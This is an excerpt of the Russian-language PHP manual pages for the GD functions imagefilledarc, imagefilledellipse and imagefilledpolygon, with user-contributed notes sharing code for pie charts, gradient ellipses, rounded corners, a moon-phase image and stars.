        if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
        ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
    }

for ($s = 0; $s < 8; ++$s)
    {
        $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
        $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
    }

?>
t_therkelsen at hotmail dot com 08-Mar-2005 01:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>

And this is how it should be...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = floor(45.5);
$ed = floor(130.5);

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+230,
          $front);
imageLine($img,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+200,
          cos(deg2rad($ed))*150+200, sin(deg2rad($ed))*150+230,
          $front);

header('Content-type: image/png');
imagepng($img);
imagedestroy($img);
?>
rich at dicksonlife dot com 24-Sep-2004 07:22
Even more efficiency:

The original code snippet and the following suggestions are inefficient in that they rely on the overlying php to fill vertically using loops rather than taking advantage of the underlying drawing routines. Also, this is done by repeatedly drawing filled partial elipses and circular calculations are typically expensive (PHP may use tables, I'm not sure) The original code could be rewritten as

<?php
// Add the bottom layer.
  imagefilledarc($image, 50, 60, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 60, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);

//Now do the joining pieces.
//Note: Precompute cosines and sines for efficiency
  $c1=50*cos(45/180*M_PI);
  $s1=25*sin(45/180*M_PI);
  $c2=50*cos(75/180*M_PI);
  $s2=25*sin(75/180*M_PI);

  $area1=array(100,60,100,50,50+$c1,50+$s1,50+$c1,60+$s1);
  $area2=array(50+$c1,50+$s1,50+$c1,60+$s1,50+$c2,60+$s2,50+$c2,50+$s2);
//Note that piece 3 goes round the corner. So we are only interested in the leftmost extent. You would need to do this programatically. Also, you do not need to make vertical parts for any segments completely at the back of the pie (in fact, not filledarcs either)
  $area3=array(50+$c2,50+$s2,50+$c2,60+$s2,0,60,0,50);

  imagefilledpolygon($image, $area1 , 4 , $darknavy);
  imagefilledpolygon($image, $area2 , 4 , $darkgray);
  imagefilledpolygon($image, $area3 , 4 , $darkred);

  imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
  imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);
?>

Note that the polygons are perhaps slightly inefficient. If there was an imagefilledtriangle, this code would be simpler. Given how fundamental triangles are, perhaps for a future version?

Rich
micha _a.t_ psytrance _d.o.t_ info 08-Sep-2004 07:09
for nice colors and adapted shadows from amount of values i try:

<?php
function _errechne_gradzahlen( $werte ) {         /* calc degrees */
    foreach( $werte as $wert ) { $sum += $wert; }
    foreach( $werte as $wert ) { $gradzahlen[] = 360 * ( $wert / $sum ); }
    return $gradzahlen;
}

function _randomcol ( $im ) {
    return imagecolorallocate( $im, rand(100, 224), rand(100, 224), rand(128, 224) );
}

$values = array( 100, 200, 50, 100, 43, 32 );    /* the data to display ( real values ) */
$werte = _errechne_gradzahlen( $values );        /* degrees-array */
$width = 200;
$height = 200;
$half_width = floor( $width / 2 );
$half_height = floor($height / 2);

$im = ImageCreateTrueColor( $width, $height );

foreach( $werte as $key => $wert ) {
    /* get colors and shadows */
    $color = _randomcol( $im );
    $shadow = $color - 20000;                 // or brighter shadows take 10000
    $colors[] = $color;
    $shadows[] = $shadow;
/* 3D effekt */
     for ($i = ($half_height + 10); $i > $half_height; $i--) {
        imagefilledarc(
                    $im,
                    $half_width,  $i,
                    $width, $half_height,
                    $offset, ($offset + $wert),   // from, to (degrees)
                    $shadows[$key], IMG_ARC_NOFILL);
    }
    $offset = $offset + $wert;
}
$offset = 0;

foreach( $werte as $key => $wert ) {             /* an now draw the top */
    imagefilledarc(
                $im,
                $half_width, $half_width,
                $width, $half_height,           // half sized
                $offset, ($offset + $wert),
                $colors[$key], IMG_ARC_PIE);
    $offset = $offset + $wert;
}
header( "Content-type: image/png" );
imagepng ( $im );
imagedestroy( $im );
?>

sry for my crab english and the disordered code, i cut and 'translate' it from a class i wrote before.
poopie 05-Aug-2004 09:08
The examples given so far for drawing a 3D looking pie chart are extremely inefficient and can give a huge performance hit to scripts that draw a lot of pies and in particular those that do offline processing on disk, rather than send a single pie chart to the browser (either way this modification saves you a lot of CPU cycles).

Modify the portion of the code that creates the 3D effect to only draw the outline (with IMG_ARC_NOFILL) of the pie layers below the top filled pie:

// make the 3D effect (modified for the original example)
for ($i = 60; $i >= 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_NOFILL);
  imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_NOFILL);
}

Note the >= on the for loop, which fills in a gap that is created without the =
hans at lintoo dot dk 17-Jul-2004 12:14
I found some bugs in my script.. and therefore I am posting the fixes:
Bugs:
<?php
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
//Should be
$darkcolor[2] = imagecolorallocate($im, 139, 0, 1);
?>

And then if you modify the code a little and, then make a image 200x125 then you won't be wasting space.
Changes:
<?php
$im  = imagecreate (200, 125);
// AND
for ($i = 60; $i > 50; $i--) {
    imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
}
// AND
       imagefilledarc($im, 100, 50, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
?>
you can see a online demo at: http://webstatistik.lintoo.dk/
hans at lintoo dot dk 16-Jul-2004 03:27
I modificed the code to make a 3d pie from data collected elsewhere.... in this case it was for a statistics page...

when testing you can use:

enjoy

<?php
//Making a image 200 x 200
$im  = imagecreate (200, 200);

//Setting background color
$background = imagecolorallocate($im, 226, 226, 226);

//Setting colors of elements
$randcolor[0] = imagecolorallocate($im, 255, 203, 3);
$randcolor[1] = imagecolorallocate($im, 220, 101, 29);
$randcolor[2] = imagecolorallocate($im, 189, 24, 51);
$randcolor[3] = imagecolorallocate($im, 214, 0, 127);
$randcolor[4] = imagecolorallocate($im, 98, 1, 96);
$randcolor[5] = imagecolorallocate($im, 0, 62, 136);
$randcolor[6] = imagecolorallocate($im, 0, 102, 179);
$randcolor[7] = imagecolorallocate($im, 0, 145, 195);
$randcolor[8] = imagecolorallocate($im, 0, 115, 106);
$randcolor[9] = imagecolorallocate($im, 178, 210, 52);
$randcolor[10] = imagecolorallocate($im, 137, 91, 74);
$randcolor[11] = imagecolorallocate($im, 82, 56, 47);

//Setting the darker alt color to the main color
$darkcolor[0] = imagecolorallocate($im, 205, 153, 0);
$darkcolor[1] = imagecolorallocate($im, 170, 51, 0);
$drakcolor[2] = imagecolorallocate($im, 139, 0, 1);
$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    $part[$i] = $data[$n] / $datasum;
    $angle[$i] = floor($part[$i] * 360);
    $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
    ++$n;
    $f = $n - 1;
    if ($angle[$n] != 0) {
        for ($i = 110; $i > 100; $i--) {
            imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
        }
    }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
    }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com 07-Jan-2004 08:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps


Рисование закрашенного эллипса

  • « imagefilledarc
  • imagefilledpolygon »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование закрашенного эллипса

imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledellipse — Рисование закрашенного эллипса

Описание

imagefilledellipse(
GdImage $image,
int $center_x,
int $center_y,
int $width,
int $height,
int $color
): bool

Рисует эллипс с центром в заданных координатах изображения image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

center_x

x-координата центра.

center_y

y-координата центра.

width

Ширина эллипса.

height

Высота эллипса.

color

Цвет заливки. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagefilledellipse()

<?php

// создание пустого изображения
$image = imagecreatetruecolor(400, 300);

// заливка фона
$bg = imagecolorallocate($image, 0, 0, 0);

// выбор цвета для эллипса
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// рисование белого эллипса
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// вывод картинки
header("Content-type: image/png");
imagepng($image);

?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefilledellipse()

Примечания

Замечание:

imagefilledellipse() игнорирует imagesetthickness().

Смотрите также

  • imageellipse() - Рисование эллипса
  • imagefilledarc() - Рисование и заливка дуги

User Contributed Notes

Mark 07-Dec-2008 05:03
This draws an anti-aliased circle with an optional border. Call with <img src="circle.php?r=50&fg=ff0000&bg=000000&bw=5&bc=ffff00"/> to draw a filled circle with radius=50, foreground color=red, background color=black, border width=5, and border color=yellow. Assumes register_globals is on, but you can fix that easily.

<?php
header('Content-type: image/png');

is_numeric($r) or $r = 8;
is_numeric($bw) or $bw = 0;
strlen($fg)==6 or $fg = 'e8e8e8';
strlen($bg)==6 or $bg = 'ffffff';
strlen($bc)==6 or $bc = '000000';

function hex2rgb($im,$hex) {
    return imagecolorallocate($im,
        hexdec(substr($hex,0,2)),
        hexdec(substr($hex,2,2)),
        hexdec(substr($hex,4,2))
        );
}

$a = $r*2;
$b = $a*4;
$c = $b/2;
$d = $b;
$e = $d-($bw*8);

$im1 = imagecreatetruecolor($b,$b);
$im2 = imagecreatetruecolor($a,$a);
imagefill($im1,0,0,hex2rgb($im1,$bg));
if($bw) imagefilledellipse($im1,$c,$c,$d,$d,hex2rgb($im1,$bc));
imagefilledellipse($im1,$c,$c,$e,$e,hex2rgb($im1,$fg));
imagecopyresampled($im2,$im1,0,0,0,0,$a,$a,$b,$b);
imagepng($im2);
?>
sunbox at gmx dot net 20-Oct-2006 04:15
draws a gradient filled ellipse with alpha color support based on felixbruns at <ANTI-SPAM>web dot de imagegradientellipse function. thx felixbruns :o)

function imagegradientellipsealpha($image, $cx, $cy, $w, $h, $ic, $oc){
       $w = abs($w);
       $h = abs($h);
       $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
       $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
       $c0 = ($oc[0] - $ic[0]) / $w;
       $c1 = ($oc[1] - $ic[1]) / $w;
       $c2 = ($oc[2] - $ic[2]) / $w;
       $ot = $oc >> 24;
       $it = $ic >> 24;
       $ct = ($ot - $it) / $w;
       $i = 0;
       $j = 0;
       $is = ($w<$h)?($w/$h):1;
       $js = ($h<$w)?($h/$w):1;
       while(1){
           $r = $oc[0] - floor($i * $c0);
           $g = $oc[1] - floor($i * $c1);
           $b = $oc[2] - floor($i * $c2);
           $t = $ot - floor($i * $ct);
           $c = imagecolorallocatealpha($image, $r, $g, $b, $t);
           imageellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
           if($i < $w){
               $i += $is;
           }
           if($j < $h){
               $j += $js;
           }
           if($i >= $w && $j >= $h){
               break;
           }
       }
    }
felixbruns at <ANTI-SPAM>web dot de 27-Aug-2006 05:57
I quickly made a gradient ellipse function (i took some code from other gradient functions). It works like imageellipse or imagefilledellipse but with two color parameters: $ic is the inner color of the gradient ellipse and $oc is the outer color.

<?php

function imagegradientellipse($image, $cx, $cy, $w, $h, $ic, $oc){
    $w = abs($w);
    $h = abs($h);
    $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
    $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
    $c0 = ($oc[0] - $ic[0]) / $w;
    $c1 = ($oc[1] - $ic[1]) / $w;
    $c2 = ($oc[2] - $ic[2]) / $w;
    $i = 0;
    $j = 0;
    $is = ($w<$h)?($w/$h):1;
    $js = ($h<$w)?($h/$w):1;
    while(1){
        $r = $oc[0] - floor($i * $c0);
        $g = $oc[1] - floor($i * $c1);
        $b = $oc[2] - floor($i * $c2);
        $c = imagecolorallocate($image, $r, $g, $b);
        imagefilledellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
        if($i < $w){
            $i += $is;
        }
        if($j < $h){
            $j += $js;
        }
        if($i >= $w && $j >= $h){
            break;
        }
    }
}

?>
jbr at ya-right dot com 22-Feb-2006 07:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
    imagetruecolortopalette ( $new, false, 256 );
    image_make ( $new, $ext, $temp_image );
    imagedestroy ( $new );
    $colors = get_rgb ( $temp_image, $ext );
    @unlink ( $temp_image );
    $new = image_get ( $ext, $original_image );
}
else
{
    $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        return ( imagecreatefromgif ( $name ) );
        break;
        case '.png' :
        return ( imagecreatefrompng ( $name ) );
        break;
    }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        imagegif ( $io, $name );
        break;
        case '.png' :
        imagepng ( $io, $name );
        break;
    }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
    $x = 0;
    $colors = array ();
    $img = image_get ( $ext, $image );

    for ( $color = 10; $color <= 250; $color++ )
    {
        if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
        {
            $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

            if ( $x == 1 )
            {
                imagedestroy ( $img );
                return ( $colors );
            }

            $x++;
        }
    }

    imagedestory ( $img );
    return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org 11-Oct-2005 10:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk 09-Feb-2005 02:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $dark);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
        }
    }
}
else {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $light);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
        }
    }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us 10-Oct-2002 06:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net 30-Mar-2002 04:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk 19-Jun-2001 04:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x = ($ox * $cosangle) - ($oy * $sinangle);
      $y = ($ox * $sinangle) + ($oy * $cosangle);

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}


Рисование закрашенного многоугольника

  • « imagefilledellipse
  • imagefilledrectangle »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование закрашенного многоугольника

imagefilledpolygon

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilledpolygon — Рисование закрашенного многоугольника

Описание

Сигнатура, начиная с PHP 8.0.0 (не поддерживается с именованными аргументами)

imagefilledpolygon(GdImage $image, array $points, int $color): bool

Альтернативный синтаксис (объявлен устаревшим с PHP 8.1.0)

imagefilledpolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imagefilledpolygon() создаёт закрашенный многоугольник в заданном изображении image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

points

Массив, содержащий x и y координаты последовательных вершин многоугольника.

num_points

Общее число точек (вершин), должно быть не меньше 3.

Если этот параметр опущен (смотрите альтернативный синтаксис), то массив points должен содержать чётное количество элементов и num_points будет вычислено как count($points)/2.
color

Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр num_points объявлен устаревшим.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagefilledpolygon()

<?php
// задание массива точек для многоугольника
$values = array(
40, 50, // Point 1 (x, y)
20, 240, // Point 2 (x, y)
60, 60, // Point 3 (x, y)
240, 20, // Point 4 (x, y)
50, 40, // Point 5 (x, y)
10, 10 // Point 6 (x, y)
);

// создание изображения
$image = imagecreatetruecolor(250, 250);

// определение цветов
$bg = imagecolorallocate($image, 0, 0, 0);
$blue = imagecolorallocate($image, 0, 0, 255);

// заливка фона
imagefilledrectangle($image, 0, 0, 249, 249, $bg);

// рисование многоугольника
imagefilledpolygon($image, $values, 6, $blue);

// вывод изображения
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagefilledpolygon()

Смотрите также

  • imagepolygon() - Рисование многоугольника

User Contributed Notes

martin at eksperimentrum dot dk 26-Apr-2018 03:06
How to draw a simple 6-sided star img where x,y is center of the star and s is the size:

function drawStar($img, $x, $y, $s, $color) {
    $x=$x-$s/2;
    $y=$y-$s/4;
    $points=array($x,$y, $x+$s/2,$y+$s, $x+$s,$y);
    imagefilledpolygon($img, $points, 3, $color);
    $points=array($x,2/3*$s+$y, $x+$s/2,$y-$s/3, $x+$s,2/3*$s+$y);
    imagefilledpolygon($img, $points, 3, $color);
}
Steween 29-Jul-2017 09:51
My version of drawStar (with examples)

<?php
header ("Content-type: image/png");

/* drawStar or regular polygon
    $x, $y  -> Position in the image
    $radius -> Radius of the star
    $spikes -> Number of spikes (min 2)
    $ratio  -> Ratio between outer and inner points
    $dir    -> Rotation 270° for having an up spike( with ratio<1)
*/
function drawStar($x, $y, $radius, $spikes=5, $ratio=0.5, $dir=270) {
    $coordinates = array();
    $angle = 360 / $spikes ;
    for($i=0; $i<$spikes; $i++){
        $coordinates[] = $x + (       $radius * cos(deg2rad($dir+$angle*$i)));
        $coordinates[] = $y + (       $radius * sin(deg2rad($dir+$angle*$i)));
        $coordinates[] = $x + ($ratio*$radius * cos(deg2rad($dir+$angle*$i + $angle/2)));
        $coordinates[] = $y + ($ratio*$radius * sin(deg2rad($dir+$angle*$i + $angle/2)));
    }
    return $coordinates ;
}

// 14*20+24*2 = 328 Examples
$im = imagecreate(800,600);
     imagecolorallocate($im,   0,   0,   0);
$w = imagecolorallocate($im, 255, 255, 255);
$r = imagecolorallocate($im, 255,   0,   0);
for ($spikes=2; $spikes<16; $spikes++) { //[2-15]
    for ($ratio=1; $ratio<21; $ratio++) { //[0.1-2.0]
        $values = drawStar(40*$ratio-20, $spikes*40-60, 10, $spikes, $ratio/10);
        imagefilledpolygon($im, $values, count($values)/2, ($ratio % 5 == 0) ? $r : $w);
    }
}
for ($dir=0; $dir<24; $dir++) {
    $values = drawStar(30*$dir+20, 580, 10, 2, 1.5, $dir*15);
    imagefilledpolygon($im, $values, count($values)/2, $w);
    $values = drawStar(30*$dir+20, 580, 10, 2, 0.2, $dir*15);
